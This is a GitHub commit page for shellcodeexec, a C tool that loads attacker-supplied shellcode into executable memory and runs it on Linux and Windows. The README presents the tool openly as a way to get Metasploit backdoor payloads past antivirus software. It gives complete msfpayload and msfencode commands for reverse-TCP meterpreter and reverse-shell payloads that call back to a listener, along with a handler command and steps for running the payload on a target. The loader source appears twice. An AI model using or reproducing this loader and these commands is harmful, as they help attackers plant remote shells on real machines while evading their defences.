Skip to content

Commit e798c45

Browse files
committed
first commit
0 parents  commit e798c45

6 files changed

Lines changed: 533 additions & 0 deletions

File tree

README

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
= Short description =
2+
3+
shellcodeexec is a small script to execute in memory a sequence of opcodes.
4+
5+
6+
= Background =
7+
8+
Most of the shellcode launchers out there, including proof of concepts part of many "security" books, detail how to allocate a memory page as readable/writable/executable on POSIX systems, copy over your shellcode and execute it. This works just fine. However, it is limited to POSIX, does not necessarily consider 64-bit architecture and Windows systems.
9+
10+
11+
= Description =
12+
13+
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once easily then run your shellcode across different architectures and operating systems.
14+
15+
Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:
16+
17+
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
18+
19+
This generates a Metasploit payload stager, payload.exe, that as soon as it lands on the AV-protected target system is recognized as malicious and potentially blocked (depending on the on-access scan settings) by many anti virus products. At the time of writing this text, 21 out 41 anti viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it multiple times with msfencode, less AV softwares detect it, still a lot.
20+
21+
I have been surfing the Net and found some interesting tutorials and guides about packing, compressing, obfuscating and applying IDA-foo to portable executables et similar in order to narrow down the number of AV products that can detect it as a malicious file. This is all interesting, but does not stop few hard-to-die anti viruses to detect your backdoor.
22+
23+
So the question is, how cool would it be to have a final solution to avoid all this hassle? This is exactly where this tool comes into play!
24+
25+
26+
= Features =
27+
28+
shellcodeexec:
29+
30+
* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
31+
32+
* Can be compiled and works on 32-bit and 64-bit architectures.
33+
34+
* As far as I know, no AV detect it as malicious.
35+
36+
* Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
37+
38+
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode to Metasploit's msfencode to encode it with the alpha_mixed encoder. Use the BufferRegister variable to set the registry where the address in memory of the shellcode is stored, to avoid get_pc() binary stub to be prepended to the shellcode.
39+
40+
* Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.
41+
42+
43+
= HowTo =
44+
45+
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example:
46+
47+
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
48+
49+
2. Execute the Metasploit multi/handler listener on your machine. For example:
50+
51+
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
52+
53+
3. On the target system, execute the alphanumeric-encoded shellcode with this tool:
54+
55+
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>

linux/Makefile

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
32:
2+
gcc-4.3 -Wall -Os shellcodeexec.c -o shellcodeexec
3+
strip -sx shellcodeexec
4+
5+
64:
6+
gcc-4.3 -Wall -Os shellcodeexec.c -fPIC -o shellcodeexec
7+
strip -sx shellcodeexec

linux/shellcodeexec.c

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
/*
2+
shellcodeexec - Script to execute in memory a sequence of opcodes
3+
Copyright (C) 2011 Bernardo Damele A. G.
4+
web: http://bernardodamele.blogspot.com
5+
email: bernardo.damele@gmail.com
6+
7+
This source code is free software; you can redistribute it and/or
8+
modify it under the terms of the GNU Lesser General Public
9+
License as published by the Free Software Foundation; either
10+
version 2.1 of the License, or (at your option) any later version.
11+
12+
This library is distributed in the hope that it will be useful,
13+
but WITHOUT ANY WARRANTY; without even the implied warranty of
14+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15+
Lesser General Public License for more details.
16+
17+
You should have received a copy of the GNU Lesser General Public
18+
License along with this library; if not, write to the Free Software
19+
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20+
*/
21+
22+
#include <sys/types.h>
23+
#include <stdio.h>
24+
#include <string.h>
25+
#include <stdlib.h>
26+
#include <time.h>
27+
#include <ctype.h>
28+
29+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
30+
#include <windows.h>
31+
DWORD WINAPI exec_payload(LPVOID lpParameter);
32+
#else
33+
#include <sys/mman.h>
34+
#include <sys/wait.h>
35+
#include <unistd.h>
36+
#endif
37+
38+
int sys_bineval(char *argv);
39+
40+
int main(int argc, char *argv[])
41+
{
42+
sys_bineval(argv[1]);
43+
44+
exit(0);
45+
}
46+
47+
int sys_bineval(char *argv)
48+
{
49+
size_t len;
50+
51+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
52+
int pID;
53+
char *code;
54+
#else
55+
int *addr;
56+
size_t page_size;
57+
pid_t pID;
58+
#endif
59+
60+
len = (size_t)strlen(argv);
61+
62+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
63+
// allocate a +rwx memory page
64+
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
65+
strncpy(code, argv, len);
66+
67+
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
68+
#else
69+
pID = fork();
70+
if(pID<0)
71+
return 1;
72+
73+
if(pID==0)
74+
{
75+
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
76+
page_size = (len+page_size) & ~(page_size); // align to page boundary
77+
78+
// mmap an rwx memory page
79+
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
80+
81+
if (addr == MAP_FAILED)
82+
return 1;
83+
84+
strncpy((char *)addr, argv, len);
85+
86+
((void (*)(void))addr)();
87+
}
88+
89+
if(pID>0)
90+
waitpid(pID, 0, WNOHANG);
91+
#endif
92+
93+
return 0;
94+
}
95+
96+
#if defined(_WIN64)
97+
void __exec_payload(LPVOID);
98+
99+
DWORD WINAPI exec_payload(LPVOID lpParameter)
100+
{
101+
__try
102+
{
103+
__exec_payload(lpParameter);
104+
}
105+
__except(EXCEPTION_EXECUTE_HANDLER)
106+
{
107+
}
108+
109+
return 0;
110+
}
111+
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
112+
DWORD WINAPI exec_payload(LPVOID lpParameter)
113+
{
114+
__try
115+
{
116+
__asm
117+
{
118+
mov eax, [lpParameter]
119+
call eax
120+
}
121+
}
122+
__except(EXCEPTION_EXECUTE_HANDLER)
123+
{
124+
}
125+
126+
return 0;
127+
}
128+
#endif

windows/shellcodeexec.sln

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 9.00
3+
# Visual C++ Express 2005
4+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellcodeexec", "shellcodeexec\shellcodeexec.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
5+
EndProject
6+
Global
7+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
8+
Debug|Win32 = Debug|Win32
9+
Release|Win32 = Release|Win32
10+
EndGlobalSection
11+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
12+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
13+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
14+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
15+
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
16+
EndGlobalSection
17+
GlobalSection(SolutionProperties) = preSolution
18+
HideSolutionNode = FALSE
19+
EndGlobalSection
20+
EndGlobal
Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
/*
2+
shellcodeexec
3+
Copyright (C) 2011 Bernardo Damele A. G.
4+
web: http://bernardodamele.blogspot.com
5+
email: bernardo.damele@gmail.com
6+
7+
This source code is free software; you can redistribute it and/or
8+
modify it under the terms of the GNU Lesser General Public
9+
License as published by the Free Software Foundation; either
10+
version 2.1 of the License, or (at your option) any later version.
11+
12+
This library is distributed in the hope that it will be useful,
13+
but WITHOUT ANY WARRANTY; without even the implied warranty of
14+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15+
Lesser General Public License for more details.
16+
17+
You should have received a copy of the GNU Lesser General Public
18+
License along with this library; if not, write to the Free Software
19+
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20+
*/
21+
22+
#include <sys/types.h>
23+
#include <stdio.h>
24+
#include <string.h>
25+
#include <stdlib.h>
26+
#include <time.h>
27+
#include <ctype.h>
28+
29+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
30+
#include <windows.h>
31+
DWORD WINAPI exec_payload(LPVOID lpParameter);
32+
#else
33+
#include <sys/mman.h>
34+
#include <sys/wait.h>
35+
#include <unistd.h>
36+
#endif
37+
38+
int sys_bineval(char *argv);
39+
40+
int main(int argc, char *argv[])
41+
{
42+
sys_bineval(argv[1]);
43+
44+
exit(0);
45+
}
46+
47+
int sys_bineval(char *argv)
48+
{
49+
size_t len;
50+
51+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
52+
int pID;
53+
char *code;
54+
#else
55+
int *addr;
56+
size_t page_size;
57+
pid_t pID;
58+
#endif
59+
60+
len = (size_t)strlen(argv);
61+
62+
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
63+
// allocate a +rwx memory page
64+
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
65+
strncpy(code, argv, len);
66+
67+
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
68+
#else
69+
pID = fork();
70+
if(pID<0)
71+
return 1;
72+
73+
if(pID==0)
74+
{
75+
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
76+
page_size = (len+page_size) & ~(page_size); // align to page boundary
77+
78+
// mmap an rwx memory page
79+
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
80+
81+
if (addr == MAP_FAILED)
82+
return 1;
83+
84+
strncpy((char *)addr, argv, len);
85+
86+
((void (*)(void))addr)();
87+
}
88+
89+
if(pID>0)
90+
waitpid(pID, 0, WNOHANG);
91+
#endif
92+
93+
return 0;
94+
}
95+
96+
#if defined(_WIN64)
97+
void __exec_payload(LPVOID);
98+
99+
DWORD WINAPI exec_payload(LPVOID lpParameter)
100+
{
101+
__try
102+
{
103+
__exec_payload(lpParameter);
104+
}
105+
__except(EXCEPTION_EXECUTE_HANDLER)
106+
{
107+
}
108+
109+
return 0;
110+
}
111+
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
112+
DWORD WINAPI exec_payload(LPVOID lpParameter)
113+
{
114+
__try
115+
{
116+
__asm
117+
{
118+
mov eax, [lpParameter]
119+
call eax
120+
}
121+
}
122+
__except(EXCEPTION_EXECUTE_HANDLER)
123+
{
124+
}
125+
126+
return 0;
127+
}
128+
#endif

0 commit comments

Comments
 (0)